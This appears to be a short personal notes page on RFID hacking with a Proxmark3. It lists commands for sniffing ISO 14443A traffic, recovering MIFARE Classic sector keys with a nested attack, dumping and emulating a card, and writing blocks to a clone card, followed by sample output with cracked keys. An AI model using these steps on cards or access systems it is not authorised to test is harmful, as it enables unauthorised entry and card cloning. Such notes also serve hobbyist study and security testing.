RFID Hacking with Proxmark3

0

My records of RFID hacking experience.

$ ls /dev/cu*
$ cd proxmark3/client
$ ./proxmark3 /dev/cu.usbmodem1421

proxmark3> hw tune
proxmark3> hf 14a reader
proxmark3> hf 14a snoop
proxmark3> hf list 14a
proxmark3> hf mf chk * ?
proxmark3> hf mf nested 1 0 A ffffffffffff d
proxmark3> hf mf dump
proxmark3> script run dumptoemul.lua
proxmark3> hf mf eload 1 20030795
proxmark3> hf mf chk 35 A 1BBD58BD915B
chk key[ 0] 1bbd58bd915b          
--sector: 0, block: 35, key type:A, key count: 1           
Found valid key:[1bbd58bd915b]

Read:

proxmark3> hf mf rdbl 35 A 1BBD58BD915B

Write:

proxmark3> hf mf csetblk 35 1bbd58bd915bf3c780692709dce3085d

Example data dump:

--sector: 0, block:  3, key type:A, key count:97           
--sector: 1, block:  7, key type:A, key count:97           
Found valid key:[1bf595db2001]          
--sector: 2, block: 11, key type:A, key count:97           
--sector: 3, block: 15, key type:A, key count:97           
Found valid key:[c1b08cff6d91]          
--sector: 4, block: 19, key type:A, key count:97 
          
--sector: 5, block: 23, key type:A, key count:97           
--sector: 6, block: 27, key type:A, key count:97           
--sector: 7, block: 31, key type:A, key count:97           
--sector: 8, block: 35, key type:A, key count:97           
Found valid key:[1bbd58bd915b]          
--sector: 9, block: 39, key type:A, key count:97           
--sector:10, block: 43, key type:A, key count:97 

--sector:11, block: 47, key type:A, key count:97           
--sector:12, block: 51, key type:A, key count:97           
--sector:13, block: 55, key type:A, key count:97           
--sector:14, block: 59, key type:A, key count:97           
--sector:15, block: 63, key type:A, key count:97  

--sector: 0, block:  3, key type:B, key count:97           
Found valid key:[ffffffffffff]--sector: 1, block:  7, key type:B, key count:97           
Found valid key:[ffffffffffff]--sector: 2, block: 11, key type:B, key count:97           
Found valid key:[ffffffffffff]--sector: 3, block: 15, key type:B, key count:97           
Found valid key:[ffffffffffff]--sector: 4, block: 19, key type:B, key count:97           
Found valid key:[ffffffffffff]--sector: 5, block: 23, key type:B, key count:97           
--sector: 6, block: 27, key type:B, key count:97           
--sector: 7, block: 31, key type:B, key count:97           
--sector: 8, block: 35, key type:B, key count:97           
Found valid key:[2709dce3085d]          
--sector: 9, block: 39, key type:B, key count:97           
Found valid key:[507634e3a4d3]          
--sector:10, block: 43, key type:B, key count:97  

--sector:11, block: 47, key type:B, key count:97           
Found valid key:[ffffffffffff]--sector:12, block: 51, key type:B, key count:97           
Found valid key:[ffffffffffff]--sector:13, block: 55, key type:B, key count:97           
Found valid key:[ffffffffffff]--sector:14, block: 59, key type:B, key count:97           
Found valid key:[ffffffffffff]--sector:15, block: 63, key type:B, key count:97           
Found valid key:[ffffffffffff]

Happy hacking hf cards!

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